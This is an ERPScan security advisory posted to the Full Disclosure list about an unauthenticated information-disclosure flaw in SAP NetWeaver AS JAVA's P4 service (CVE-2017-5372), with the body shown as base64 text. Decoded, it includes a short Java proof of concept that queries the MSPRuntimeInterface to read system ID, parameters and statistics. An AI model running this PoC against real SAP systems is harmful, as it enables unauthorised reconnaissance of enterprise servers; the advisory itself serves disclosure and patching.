[ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 - INFORMATION DISCLOSURE

ERPScan inc <[email protected]> Thu, 19 Jan 2017 16:30:21 +0300
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.bugtraq
Message-ID <CANHWe92Cjs_fVW61=yZpdmwBJ_H0p0WEbOobw2+yR7oPy0_ebQ@mail.gmail.com>
QXBwbGljYXRpb246IFNBUCBOZXRXZWF2ZXIgQVMgSkFWQQoKVmVyc2lvbnMgQWZmZWN0ZWQ6IFNB
UCBOZXRXZWF2ZXIgQVMgSkFWQSA3LjExLTcuNAoKVmVuZG9yIFVSTDogaHR0cDovL1NBUC5jb20K
CkJ1Z3M6IEluZm9ybWF0aW9uIGRpc2Nsb3N1cmUKClNlbnQ6ICAxMC4wMy4yMDE2CgpSZXBvcnRl
ZDogMTEuMDMuMjAxNgoKVmVuZG9yIHJlc3BvbnNlOiAxMS4wMy4yMDE2CgpEYXRlIG9mIFB1Ymxp
YyBBZHZpc29yeTogMTIuMTAuMjAxNgoKUmVmZXJlbmNlOiBTQVAgU2VjdXJpdHkgTm90ZSAyMzMx
OTA4CgpBdXRob3I6ICBWYWhhZ24gQHZhaF8xMyBWYXJkYW55YW4gKEVSUFNjYW4pCgoKCkRlc2Ny
aXB0aW9uCgoxLiBBRFZJU09SWSBJTkZPUk1BVElPTgoKVGl0bGU6W0VSUFNDQU4tMTYtMDM3XSBT
QVAgTmV0V2VhdmVyIEFTIEpBVkEgUDQgTVNQUlVOVElNRUlOVEVSRkFDRQpJTkZPUk1BVElPTiBE
SVNDTE9TVVJFCgpBZHZpc29yeSBJRDpbRVJQU0NBTi0xNi0wMzddCgpSaXNrOiBoaWdoCgpBZHZp
c29yeSBVUkw6Cmh0dHBzOi8vZXJwc2Nhbi5jb20vYWR2aXNvcmllcy9lcnBzY2FuLTE2LTAzNy1z
YXAtamF2YS1wNC1tc3BydW50aW1laW50ZXJmYWNlLWluZm9ybWF0aW9uLWRpc2Nsb3N1cmUvCgpE
YXRlIHB1Ymxpc2hlZDogMTEuMDEuMjAxNwoKVmVuZG9ycyBjb250YWN0ZWQ6IFNBUAoKMi4gVlVM
TkVSQUJJTElUWSBJTkZPUk1BVElPTgoKQ2xhc3M6IEluZm9ybWF0aW9uIGRpc2Nsb3N1cmUKCklt
cGFjdDogYnJva2VuIGF1dGhlbnRpY2F0aW9uCgpSZW1vdGVseSBFeHBsb2l0YWJsZTogeWVzCgpM
b2NhbGx5IEV4cGxvaXRhYmxlOiBubwoKQ1ZFOiBDVkUtMjAxNy01MzcyCgpDVlNTIEluZm9ybWF0
aW9uCgpDVlNTIEJhc2UgU2NvcmUgdjM6ICAgIDcuMyAvIDEwCgpDVlNTIEJhc2UgVmVjdG9yOgoK
QVYgOiBBdHRhY2sgVmVjdG9yIChSZWxhdGVkIGV4cGxvaXQgcmFuZ2UpIE5ldHdvcmsgKE4pCgpB
QyA6IEF0dGFjayBDb21wbGV4aXR5IChSZXF1aXJlZCBhdHRhY2sgY29tcGxleGl0eSkgTG93IChM
KQoKUFIgOiBQcml2aWxlZ2VzIFJlcXVpcmVkIChMZXZlbCBvZiBwcml2aWxlZ2VzIG5lZWRlZCB0
byBleHBsb2l0KSBOb25lIChOKQoKVUkgOiBVc2VyIEludGVyYWN0aW9uIChSZXF1aXJlZCB1c2Vy
IHBhcnRpY2lwYXRpb24pIE5vbmUgKE4pCgpTIDogU2NvcGUgKENoYW5nZSBpbiBzY29wZSBkdWUg
dG8gaW1wYWN0IGNhdXNlZCB0byBjb21wb25lbnRzIGJleW9uZCB0aGUKdnVsbmVyYWJsZSBjb21w
b25lbnQpIFVuY2hhbmdlZCAoVSkKCkMgOiBJbXBhY3QgdG8gQ29uZmlkZW50aWFsaXR5IExvdyAo
TCkKCkkgOiBJbXBhY3QgdG8gSW50ZWdyaXR5IExvdyAoTCkKCkEgOiBJbXBhY3QgdG8gQXZhaWxh
YmlsaXR5IExvdyAoTCkKCgozLiBWVUxORVJBQklMSVRZIERFU0NSSVBUSU9OCgpBbm9ueW1vdXMg
YXR0YWNrZXIgY2FuIHNlbmQgYSBzcGVjaWFsIHJlcXVlc3QgYW5kIGdldCBzZW5zaXRpdmUgaW5m
b3JtYXRpb24KYWJvdXQgYW4gU0FQIHN5c3RlbSB1c2luZyBTQVAgUDQuCgo0LiBWVUxORVJBQkxF
IFBBQ0tBR0VTCgoKU0VSVkVSQ09SRQoKNy4xMQo3LjIwCjcuMzAKNy4zMQo3LjQwCjcuNTAKCgo1
LiBTT0xVVElPTlMgQU5EIFdPUktBUk9VTkRTCgpUbyBjb3JyZWN0IHRoaXMgdnVsbmVyYWJpbGl0
eSwgaW5zdGFsbCBTQVAgU2VjdXJpdHkgTm90ZSAgMjMzMTkwOAoKCgo2LiBBVVRIT1IKCiBWYWhh
Z24gVmFyZGFueWFuIChFUlBTY2FuKQoKCgo3LiBURUNITklDQUwgREVTQ1JJUFRJT04KClNBUCBB
UyBKQVZBIFA0IGZ1bmN0aW9uIG1zcCAoTVNQUnVudGltZUludGVyZmFjZSkgZG9lcyBub3QgcmVx
dWlyZSBhbnkKYXV0aG9yaXphdGlvbiB0byBjYWxsIHRoZSBmb2xsb3dpbmcgZnVuY3Rpb25zOgoK
CmdldEluZm9ybWF0aW9uCgpnZXRQYXJhbWV0ZXJzCgpnZXRTZXJ2aWNlSW5mbwoKZ2V0U3RhdGlz
dGljCgpnZXRDbGllbnRTdGF0aXN0aWMKClBvQyAoSmF2YSBsYW5ndWFnZSkKCgpwYWNrYWdlIHNh
cF9wNF9wb2M7CgoqKioqKgoKUHJvcGVydGllcyBwID0gbmV3IFByb3BlcnRpZXMoKTsKCnAucHV0
KCJqYXZhLm5hbWluZy5mYWN0b3J5LmluaXRpYWwiLAoiY29tLnNhcC5lbmdpbmUuc2VydmljZXMu
am5kaS5Jbml0aWFsQ29udGV4dEZhY3RvcnlJbXBsIik7CgpwLnB1dCgiamF2YS5uYW1pbmcucHJv
dmlkZXIudXJsIiwgU0FQX0lQKyI6IitTQVBfUE9SVCk7CgpJbml0aWFsQ29udGV4dCBpbml0aWFs
Q29udGV4dCA9IG5ldyBJbml0aWFsQ29udGV4dChwKTsKCkNvbnRleHQgaW5pdGlhbENvbnRleHQg
PSBpbml0aWFsQ29udGV4dDsKCk1TUFJ1bnRpbWVJbnRlcmZhY2Ugc2VyaWFsT2JqID0KKE1TUFJ1
bnRpbWVJbnRlcmZhY2UpaW5pdGlhbENvbnRleHQubG9va3VwKCJtc3AiKTsKClN5c3RlbS5vdXQu
cHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLSIgKyBzZXJpYWxPYmogKwoiLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpOwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0t
LS0tLS0tLS0tU0lEOiIgKyBzZXJpYWxPYmouZ2V0U3lzdGVtSWQoKSArCiItLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CgpTeXN0ZW0ub3V0LnByaW50bG4oIi0tLS0t
LS0tLS0tLS0tLS0tLS0tLS1nZXRJbmZvcm1hdGlvbjotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLSIpOwoKVHJlZU1hcCBJbmYgPSBzZXJpYWxPYmouZ2V0SW5mb3JtYXRpb24oKTsKCnBy
aW50X3RyZWVlX21hcChJbmYpOwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0tLS0tLS0tLS0t
LS0tLS0tZ2V0UGFyYW1ldGVyczotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7
CgpUcmVlTWFwIFBhciA9IHNlcmlhbE9iai5nZXRQYXJhbWV0ZXJzKCk7CgpwcmludF90cmVlZV9t
YXAoUGFyKTsKClN5c3RlbS5vdXQucHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1nZXRT
ZXJ2aWNlSW5mbzotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKTsKClRyZWVNYXAg
U2VydiA9IHNlcmlhbE9iai5nZXRTZXJ2aWNlSW5mbygpOwoKcHJpbnRfdHJlZWVfbWFwKFNlcnYp
OwoKU3lzdGVtLm91dC5wcmludGxuKCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLWdldFN0YXRpc3Rp
YzotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKTsKClRyZWVNYXAgU3RhdCA9IHNl
cmlhbE9iai5nZXRTdGF0aXN0aWMoKTsKCnByaW50X3RyZWVlX21hcChTdGF0KTsKClN5c3RlbS5v
dXQucHJpbnRsbigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1nZXRDbGllbnRTdGF0aXN0aWM6LS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CgpUcmVlTWFwIENsaSA9IHNlcmlhbE9i
ai5nZXRDbGllbnRTdGF0aXN0aWMoKTsKCnByaW50X3RyZWVlX21hcChDbGkpOwoKCgo4LiBSRVBP
UlQgVElNRUxJTkUKClJlcG9ydGVkOiAxMS4wMy4yMDE2CgpWZW5kb3IgcmVzcG9uc2U6IDExLjAz
LjIwMTYKCkRhdGUgb2YgUHVibGljIEFkdmlzb3J5OiAxMi4xMC4yMDE2CgoKOS4gUkVGRVJFTkNF
UwoKaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZpc29yaWVzL2VycHNjYW4tMTYtMDM3LXNhcC1qYXZh
LXA0LW1zcHJ1bnRpbWVpbnRlcmZhY2UtaW5mb3JtYXRpb24tZGlzY2xvc3VyZS8KCgoxMC4gQUJP
VVQgRVJQU2NhbiBSZXNlYXJjaAoKRVJQU2NhbiByZXNlYXJjaCB0ZWFtIHNwZWNpYWxpemVzIGlu
IHZ1bG5lcmFiaWxpdHkgcmVzZWFyY2ggYW5kIGFuYWx5c2lzIG9mCmNyaXRpY2FsIGVudGVycHJp
c2UgYXBwbGljYXRpb25zLiBJdCB3YXMgYWNrbm93bGVkZ2VkIG11bHRpcGxlIHRpbWVzIGJ5IHRo
ZQpsYXJnZXN0IHNvZnR3YXJlIHZlbmRvcnMgbGlrZSBTQVAsIE9yYWNsZSwgTWljcm9zb2Z0LCBJ
Qk0sIFZNd2FyZSwgSFAgZm9yCmRpc2NvdmVyaW5nIG1vcmUgdGhhbiA0MDAgdnVsbmVyYWJpbGl0
aWVzIGluIHRoZWlyIHNvbHV0aW9ucyAoMjAwIG9mIHRoZW0KanVzdCBpbiBTQVAhKS4KCkVSUFNj
YW4gcmVzZWFyY2hlcnMgYXJlIHByb3VkIG9mIGRpc2NvdmVyaW5nIG5ldyB0eXBlcyBvZiB2dWxu
ZXJhYmlsaXRpZXMKKFRPUCAxMCBXZWIgSGFja2luZyBUZWNobmlxdWVzIDIwMTIpIGFuZCBvZiB0
aGUgIlRoZSBCZXN0IFNlcnZlci1TaWRlIEJ1ZyIKbm9taW5hdGlvbiBhdCBCbGFja0hhdCAyMDEz
LgoKRVJQU2NhbiBleHBlcnRzIHBhcnRpY2lwYXRlZCBhcyBzcGVha2VycywgcHJlc2VudGVycywg
YW5kIHRyYWluZXJzIGF0IDYwKwpwcmltZSBpbnRlcm5hdGlvbmFsIHNlY3VyaXR5IGNvbmZlcmVu
Y2VzIGluIDI1KyBjb3VudHJpZXMgYWNyb3NzIHRoZQpjb250aW5lbnRzICggZS5nLiBCbGFja0hh
dCwgUlNBLCBISVRCKSBhbmQgY29uZHVjdGVkIHByaXZhdGUgdHJhaW5pbmdzIGZvcgpzZXZlcmFs
IEZvcnR1bmUgMjAwMCBjb21wYW5pZXMuCgpFUlBTY2FuIHJlc2VhcmNoZXJzIGNhcnJ5IG91dCB0
aGUgRUFTLVNFQyBwcm9qZWN0IHRoYXQgaXMgZm9jdXNlZCBvbgplbnRlcnByaXNlIGFwcGxpY2F0
aW9uIHNlY3VyaXR5IGF3YXJlbmVzcyBieSBpc3N1aW5nIGFubnVhbCBTQVAgc2VjdXJpdHkKcmVz
ZWFyY2hlcy4KCkVSUFNjYW4gZXhwZXJ0cyB3ZXJlIGludGVydmlld2VkIGluIHNwZWNpYWxpemVk
IGluZm8tc2VjIHJlc291cmNlcyBhbmQKZmVhdHVyZWQgaW4gbWFqb3IgbWVkaWEgd29ybGR3aWRl
LiBBbW9uZyB0aGVtIHRoZXJlIGFyZSBSZXV0ZXJzLCBZYWhvbywgU0MKTWFnYXppbmUsIFRoZSBS
ZWdpc3RlciwgQ0lPLCBQQyBXb3JsZCwgRGFya1JlYWRpbmcsIEhlaXNlLCBDaGluYWJ5dGUsIGV0
Yy4KCk91ciB0ZWFtIGNvbnNpc3RzIG9mIGhpZ2hseS1xdWFsaWZpZWQgcmVzZWFyY2hlcnMsIHNw
ZWNpYWxpemVkIGluIHZhcmlvdXMKZmllbGRzIG9mIGN5YmVyc2VjdXJpdHkgKGZyb20gd2ViIGFw
cGxpY2F0aW9uIHRvIElDUy9TQ0FEQSBzeXN0ZW1zKSwKZ2F0aGVyaW5nIHRoZWlyIGV4cGVyaWVu
Y2UgdG8gY29uZHVjdCB0aGUgYmVzdCBTQVAgc2VjdXJpdHkgcmVzZWFyY2guCgoxMS4gQUJPVVQg
RVJQU2NhbgoKRVJQU2NhbiBpcyB0aGUgbW9zdCByZXNwZWN0ZWQgYW5kIGNyZWRpYmxlIEJ1c2lu
ZXNzIEFwcGxpY2F0aW9uCkN5YmVyc2VjdXJpdHkgcHJvdmlkZXIuIEZvdW5kZWQgaW4gMjAxMCwg
dGhlIGNvbXBhbnkgb3BlcmF0ZXMgZ2xvYmFsbHkgYW5kCmVuYWJsZXMgbGFyZ2UgT2lsIGFuZCBH
YXMsIEZpbmFuY2lhbCwgUmV0YWlsIGFuZCBvdGhlciBvcmdhbml6YXRpb25zIHRvCnNlY3VyZSB0
aGVpciBtaXNzaW9uLWNyaXRpY2FsIHByb2Nlc3Nlcy4gTmFtZWQgYXMgYW4g4oCYRW1lcmdpbmcg
VmVuZG9y4oCZIGluClNlY3VyaXR5IGJ5IENSTiwgbGlzdGVkIGFtb25nIOKAnFRPUCAxMDAgU0FQ
IFNvbHV0aW9uIHByb3ZpZGVyc+KAnSBhbmQKZGlzdGluZ3Vpc2hlZCBieSAzMCsgb3RoZXIgYXdh
cmRzLCBFUlBTY2FuIGlzIHRoZSBsZWFkaW5nIFNBUCBTRSBwYXJ0bmVyIGluCmRpc2NvdmVyaW5n
IGFuZCByZXNvbHZpbmcgc2VjdXJpdHkgdnVsbmVyYWJpbGl0aWVzLiBFUlBTY2FuIGNvbnN1bHRh
bnRzCndvcmsgd2l0aCBTQVAgU0UgaW4gV2FsbGRvcmYgdG8gYXNzaXN0IGluIGltcHJvdmluZyB0
aGUgc2VjdXJpdHkgb2YgdGhlaXIKbGF0ZXN0IHNvbHV0aW9ucy4KCkVSUFNjYW7igJlzIHByaW1h
cnkgbWlzc2lvbiBpcyB0byBjbG9zZSB0aGUgZ2FwIGJldHdlZW4gdGVjaG5pY2FsIGFuZApidXNp
bmVzcyBzZWN1cml0eSwgYW5kIHByb3ZpZGUgc29sdXRpb25zIGZvciBDSVNPJ3MgdG8gZXZhbHVh
dGUgYW5kIHNlY3VyZQpTQVAgYW5kIE9yYWNsZSBFUlAgc3lzdGVtcyBhbmQgYnVzaW5lc3MtY3Jp
dGljYWwgYXBwbGljYXRpb25zIGZyb20gYm90aApjeWJlcmF0dGFja3MgYW5kIGludGVybmFsIGZy
YXVkLiBBcyBhIHJ1bGUsIG91ciBjbGllbnRzIGFyZSBsYXJnZQplbnRlcnByaXNlcywgRm9ydHVu
ZSAyMDAwIGNvbXBhbmllcyBhbmQgTVNQcywgd2hvc2UgcmVxdWlyZW1lbnRzIGFyZSB0bwphY3Rp
dmVseSBtb25pdG9yIGFuZCBtYW5hZ2Ugc2VjdXJpdHkgb2YgdmFzdCBTQVAgYW5kIE9yYWNsZSBs
YW5kc2NhcGVzIG9uIGEKZ2xvYmFsIHNjYWxlLgoKV2Ug4oCYZm9sbG93IHRoZSBzdW7igJkgYW5k
IGhhdmUgdHdvIGh1YnMsIGxvY2F0ZWQgaW4gUGFsbyBBbHRvIGFuZCBBbXN0ZXJkYW0sCnRvIHBy
b3ZpZGUgdGhyZWF0IGludGVsbGlnZW5jZSBzZXJ2aWNlcywgY29udGludW91cyBzdXBwb3J0IGFu
ZCB0byBvcGVyYXRlCmxvY2FsIG9mZmljZXMgYW5kIHBhcnRuZXIgbmV0d29yayBzcGFubmluZyAy
MCsgY291bnRyaWVzIGFyb3VuZCB0aGUgZ2xvYmUuCgoKQWRyZXNzIFVTQTogMjI4IEhhbWlsdG9u
IEF2ZW51ZSwgRmwuIDMsIFBhbG8gQWx0bywgQ0EuIDk0MzAxCgpQaG9uZTogNjUwLjc5OC41MjU1
CgpUd2l0dGVyOiBAZXJwc2NhbgoKU2Nvb3AtaXQ6IEJ1c2luZXNzIEFwcGxpY2F0aW9uIFNlY3Vy
aXR5CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50
IHRocm91Z2ggdGhlIEZ1bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9y
Zy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0
cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlzY2xvc3VyZS8=